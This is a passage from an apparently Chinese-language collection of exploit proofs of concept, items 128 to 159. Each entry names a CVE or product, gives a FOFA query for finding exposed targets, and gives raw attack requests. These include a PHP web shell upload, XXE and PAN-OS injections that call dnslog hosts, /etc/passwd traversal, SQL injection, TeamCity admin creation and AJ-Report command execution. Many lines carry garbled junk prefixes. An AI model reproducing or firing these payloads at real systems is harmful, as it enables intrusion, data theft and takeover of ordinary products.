, v% @. C+ Z: [- u/ g3 j4 ]------WebKitFormBoundaryJGgV5l5ta05yAIe0
' V) u% l2 C* e0 bContent-Disposition: form-data;name="SystemName"
9 m5 `9 h' x: S$ Z, g# _; ~/ _
BIM
3 I" C* [' L; i------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
) ?9 q- c/ ]* u! A5 l# _, u4 v<!DOCTYPE test [
1 k& r! c# \6 ^* b<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
1 I/ b7 W! S* ]' U5 E- O1 W( A7 k]
! O# r" ]- F' i2 \( L( R>
) k1 ?7 A2 R; ^1 X0 o' Q<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
9 Y% ]: n6 ?4 V0 u  m% b5 v
% W6 e% I3 E' x7 N8 y- N# R

4 c8 s8 Y6 Q# K% \5 [128. Adobe ColdFusion 反序列化
% R3 b, ^2 u% ?9 v0 h: n6 yCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
. P" b- v0 D3 v: v7 [) t3 X% X, wPAYLOAD

129. Adobe ColdFusion 任意文件读取
; ?7 P6 b5 N' yCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
; ]' h" e! l6 `- e8 u. E2 lGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
% ^; D2 z" q/ z* r2 D. |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
) D1 c: o# o5 ~% N  l. Y, M* ^
' j. s& J  R" @
4 M9 R' y% A* @1 x* L# b4 E, b第二步，读取/etc/passwd文件
2 z+ s! @, d9 @  g( ^GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
+ I* x& Q( x* ?8 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
( ]/ o* p! y  k/ v9 P0 FPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
8 K& \, F+ S2 U, @. CAccept: application/json, text/javascript, */*; q=0.01
3 H. C1 {: v! d4 N+ B6 V5 IX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
6 j# X$ w- ?5 H+ P7 v* u- PContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
. B" O& u9 X: c0 T  E8 @
<?php phpinfo();@eval($_POST['sec']);?>
5 W0 r: F* s6 U$ ~' \------WebKitFormBoundary3OCVBiwBVsNuB2kR--

$ |1 e. {  z2 V2 Y; |) a* ]& g2 `% @
. a" h/ V" T  k$ O& P1 ?131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
- T) R$ D! Z1 m6 u/ ^/ Z7 x后台地址：http://localhost:8080/tmall/admin
- c2 S; p, z+ chttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
: l7 C; ^! G; l1 X  f4 [% F
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
2 Y/ ]7 R0 x& }CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
  g& l4 T2 A! V2 @! J& `& H& fHost: 192.168.40.130:8111
* a2 \8 @& ^5 m/ |8 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
' X* @# u8 H. b5 K) nContent-Type: application/json
Accept-Encoding: gzip, deflate
* U& X/ u+ l  B0 F
. a. _" ]7 o6 f4 \! o{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
8 w( J4 a) i$ S- d" k, m- f: [7 @3 n" W

CVE-2024-27199
+ V9 ]; D4 D- o/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp

: y5 v, L# @+ r* q0 U  [/ o4 o- R
6 m8 b( C& v" Q) Y4 E4 SCVE-2024-27198-RCE.py
1 G( }' {# Q8 y7 R
133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
* r& r. m+ ]2 @) J0 @1 @Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
; ~/ a! Y; \' e# S! m) y" xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
. r5 ~: ^9 b4 b# J
/ P- [& L( F6 S% [------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
9 G1 ]3 g# E- T7 z$ fContent-Type: application/octet-stream
) b# _% S8 a# N1 }& T2 `0 z! [
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
0 D1 y! u. i& [4 r
( u6 ~3 d* r  E* f/ C1 f0 _
( W* l, [1 V+ F( D8 \" A, Y
134. 网康NS-ASG应用安全网关index.php sql注入
9 ]$ ]) p$ U  U9 D3 |+ s$ v# ?& a1 DCVE-2024-2330
/ B# z0 C  z" o) Q* u4 Y, C7 H: a* VNetentsec NS-ASG Application Security Gateway 6.3版本
, V. M( b4 e7 ~1 {8 _FOFA：app="网康科技-NS-ASG安全网关"
3 e/ L% E' K/ NPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
# K" b1 v$ |+ S9 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
* X; j  ~  u+ w! W& R$ m  J( |+ bAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 P% ]! J. X- B, I' a4 H) T. k9 _Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
8 }# N. U2 v' HTe: trailers
) |% {1 r' \9 a4 }2 NConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
2 P- h& J3 ~( A
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
7 K- A( ^# l' U9 Q6 xNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
' ]3 W8 x6 P7 U) y5 HGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
% _8 d* B; p/ D8 W

# b" F% B# l2 A8 I9 h. L+ B136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
$ v! p  N7 n9 f$ g7 @  V! K& zGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
- \" a1 y) D& v% l& I) ^7 }User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ w8 _  S1 ^5 ]' ?1 q& S- @* Z1 cConnection: close
1 G: F' {0 y( y! fAccept: */*
( g7 d7 f+ v5 B  sAccept-Language: en
Accept-Encoding: gzip
+ i3 `$ d. C* b" V! U3 @

/ {& J- U3 o, n' [137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
9 a* \: A# i% w. E# PFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
2 {" W, W: q5 p+ @- e5 qHost: x.x.x.x
/ G0 Y1 s, f" X( I3 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 B, Y( a* {* n) J" }7 g' o: JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
% X8 M; u( i2 jGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
& {3 S5 \: j# Q; z" KHost: x.x.x.x
. z2 Z* a) f( _2 z$ I: c' G" FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Q" k; ?0 V9 A' q6 d4 EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
. I- T* G" g4 |% R7 S' r1 \1 t  aConnection: close
Upgrade-Insecure-Requests: 1

; T+ M1 s0 r, U
8 y/ q1 w2 e1 y9 U139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
  o. Z7 _* f6 E, \0 ?& RGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
9 f6 I0 p) Q0 A2 u% G  t7 oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# l# X! U* L6 P  v' |2 s! }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1


- R3 l. @& H9 H140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
& G; S  ]+ A8 y% X% U6 sFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
2 ?* L" ?, s6 s' g2 eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 I$ q/ O8 N( M" ]# E* Z0 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 Q& j/ |2 W- VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, r4 L' P# D5 a, A0 yAccept-Encoding: gzip, deflate, br
Connection: close
4 L/ Y0 m8 G. {* @, Y8 v5 XCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1

% q# m  O# n! h% |
; O, d) l7 k3 F141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
: I, I: O' r' S* c5 c% |$ t( SUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded

1 A7 `3 Y- j+ C7 L3 @+ o4 S
( j% k/ }& ^) M9 K; v3 A+ Vdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
1 J% o9 b* G- R% R

) ~- Z; X9 T7 q1 E142. CMSV6车辆监控平台系统中存在弱密码
  h" u' O: e5 X' y& r( Q# eCVE-2024-29666
( f6 @" S) G7 A$ s) H# uFOFA：body="/808gps/"
! ]7 s$ f  r% P/ i+ Xadmin/admin
1 x  x& R, r. B. D2 x) Y1 a143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
* E" L- q  [* s/ A; v8 B1 DFOFA：title='AP setup' && header='netis'
PAYLOAD
8 j1 W1 \9 ~: C
144. D-Link nas_sharing.cgi 命令注入
* S0 }* N0 Y9 [4 Z3 ?/ AFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
8 G5 z$ a  B, a: ]- f- U( i" I. MGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
0 C# G5 [5 |4 F0 Q5 I- PUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
  N7 k' ^; ^9 e+ n4 WConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
+ c5 ~  P: \" Y9 ]/ C: l
2 x, q( ^* p9 f6 y
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
: [1 Q* X/ o7 M. O# E0 l# P6 oFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
/ E; k+ w) s& C# G# c! E& JConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
2 O$ n9 s/ ?8 Z9 A) g. d! EAccept-Encoding: gzip


146. MajorDoMo thumb.php 未授权远程代码执行
3 c6 ]8 k: A' @5 |CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
9 E1 K$ k( e" N( K& J- S5 p0 iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
) ?; w. t8 A: n. g% L" n. nAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
" y8 f; z+ Q. x: }Connection: close
& U8 Q" T! T2 w: d% @# ^. Q

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
4 v& Q2 _% b9 {& HHost: 127.0.0.1:81
  U; ?1 i( \1 |2 h; W: c* oCache-Control: max-age=0
6 x8 p  B' C' d8 n- t2 _Connection: close


148. CrushFTP 认证绕过模板注入
  `! e& x' i. P  o! @9 L1 a# wCVE-2024-4040
FOFA：body="CrushFTP"
8 P' r/ G4 k2 n( z, z. BPAYLOAD
1 [& Z+ D# V( F6 v# H2 W. [
149. AJ-Report开源数据大屏存在远程命令执行
3 v" M* @, n4 w8 a+ b8 {0 F6 mFOFA：title="AJ-Report"

3 g' S# O0 \' R( A, fPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
! O' x  e# j! Y' a1 a' i6 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
! B5 f/ T) b$ c. G1 s$ LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
; X7 s' A5 G- k: rAccept-Language: zh-CN,zh;q=0.9
) N0 j  }8 k9 X+ w& R8 RContent-Type: application/json;charset=UTF-8
7 R7 n4 T# ?& [+ m8 QConnection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
4 Q7 Y( A; P1 P1 y" C; x6 B
150. AJ-Report 1.4.0 认证绕过与远程代码执行
- c/ ?% w# ~9 W. Z4 `FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
0 W/ Q/ u; o' K4 yContent-Type: application/json;charset=UTF-8
# t3 ~" U* w) N+ u5 [1 t# J) eConnection: close
- b1 X! p7 [4 x! k: I9 F( jContent-Length: 339
5 s3 \0 F9 g. s4 }
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


' q$ Q" `9 T& P; i151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
5 F8 s, \0 \7 L! x& ?8 D) QGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
. _6 |8 @8 S& J0 cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
7 [+ m3 c/ ^% T. o  X, D% NAccept-Encoding: gzip

2 J3 C7 b& @! `! e, E0 b  v
152. Progress Kemp LoadMaster 远程命令执行
7 z! t/ h2 }3 R; SCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
" d6 E* k$ u0 W. x! `1 ~! p5 u- XLoadMaster<=7.2.54.8 (LTSF)
* I; d  k1 d4 ~3 I6 }LoadMaster <= 7.2.48.10 (LTS)
( q/ L# y' D3 {9 m; O7 AFOFA：body="LoadMaster"
1 |% E9 H) \& H) RJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
) _$ w' m3 e  @4 C& V( ?5 L& |Host: x.x.x.x
: `6 g. D5 U; G$ C. u; u9 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
! a9 E9 D* J* {) ]5 m8 _Connection: close
: z! v7 d& Q" S2 ]Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
0 J1 U/ \, ~2 S& u+ AAccept-Encoding: gzip

/ }- N( z, K  c3 k
153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
  T0 u, S- L$ X7 s# s  y0 E, J

9 I* Z+ }# p: E7 [* a/ ~第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
% E; i! X( l) N$ S! _Content-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
( ]! }" C; u7 o6 {% T0 y
) d' v) E7 X) e* o
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


154. 天维尔消防救援作战调度平台 SQL注入
" J" n! }% D0 u4 M' n0 qCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
* ^; S9 V/ i0 a& p+ hContent-Length: 106
; E: u6 O! r0 a; J( ^Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
. y( m) v; I* e' fOrigin: http://x.x.x.x
) C% A8 r) T* gContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
( v! D$ f$ O" _. r  FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; t0 E' Z& J( [( K: m7 v& |Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

% l+ b/ ]" \- w
155. 六零导航页 file.php 任意文件上传
6 o# M% t# E3 B# e& c9 y* ?9 aCVE-2024-34982
! \& X" a* e" c, T0 \0 mFOFA：title=="上网导航 - LyLme Spage"
* y" y1 S- s# qPOST /include/file.php HTTP/1.1
3 b* [( m! \2 b! B* t8 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
9 f8 m+ o' u1 i1 z, Q+ B# WContent-Length: 232
, b' U0 h9 k3 n$ A+ g4 X0 nAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
9 k8 }0 \4 C6 \; _9 ~7 S7 MX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
' \; `! H) R& ]# l! TContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

* _0 r" ~6 Q5 ]! H4 b0 w<?php phpinfo();unlink(__FILE__);?>
. e. X; n& \' ^-----------------------------qttl7vemrsold314zg0f--
( W( W) |  c. W6 Q. [

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
9 A4 l7 C& @* c7 Y3 s& t( X
7 ]; z! E8 `, m+ X156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
- s, [6 d# j: P( Vcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

2 F# ]- {1 [, t9 `
1 X( _8 l7 P; K# D0 H8 z+ M, GPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
' X- n' j, C8 I0 NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" N: v6 O! P' F. O/ ]- _Connection: close
8 @3 k6 c. j- G7 A5 V$ C, wContent-Length: 0
Cookie: uid=1
4 _/ L6 G# x& ]6 S( \, p, [6 BAccept-Encoding: gzip
$ c3 M* H$ }8 u
- j2 K2 X, _/ X" U* x
157. 美特CRM upload.jsp 任意文件上传
8 |2 r4 b! I2 K. S0 M; U9 fCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
( @3 K: j% y! A* _* X% [) MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
: q4 R! D; r* nContent-Length: 709
* `4 |$ @# a6 a% v6 K# oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
6 c# Z3 h( {- f! k; \( YAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
2 N/ _. n1 z' N/ Q% e5 a4 a9 wConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
$ F' I! ?2 y8 B  EUpgrade-Insecure-Requests: 1

* K( _9 d5 |+ H- X  U------WebKitFormBoundary1imovELzPsfzp5dN
+ h& v4 r$ t# B1 L% Z/ EContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

4 {/ |& X# n" b/ Qnyhelxrutzwhrsvsrafb
- |6 y, I' H% W* ~& g  B8 D5 f------WebKitFormBoundary1imovELzPsfzp5dN
# i0 w. ~+ J2 Q- W5 y+ N: PContent-Disposition: form-data; name="key"
# g7 G& _  I+ O" }
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

: E+ b$ V4 ]6 }( K! cnull
/ p8 o; g. F# a/ _3 U------WebKitFormBoundary1imovELzPsfzp5dN
) \6 ?# e; Z1 g; \Content-Disposition: form-data; name="field"

5 d- Z+ M  [3 p7 N! m$ ?1 }& Z5 [/ Q, ~: Wnull
7 f% y0 r( \# q" m2 X# U------WebKitFormBoundary1imovELzPsfzp5dN
! d1 K2 f3 e: ]3 c* X8 ~# t6 ]Content-Disposition: form-data; name="filetitile"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
! o/ s& ?  W- u, g$ t# z
4 N) m) n0 e  y5 Rnull
------WebKitFormBoundary1imovELzPsfzp5dN--


4 s9 y' {% E) b( a% [8 U" H8 Jhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

$ {9 h; A- J" w0 s" j0 b- S158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
) U& G6 {( I) a  L8 MContent-Type: application/x-www-form-urlencoded
: Q9 t: }' c( y) }7 B7 P% s
6 D2 @8 K( A9 O1 q1 ~* aobject=displayregion&contenthistid=x\'&previewid=1
2 U6 _, ?- v% O* o
$ {( @8 X& M6 Q: l( m0 s
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
* p; h7 Z* n! U3 j2 NHost: x.x.x.x
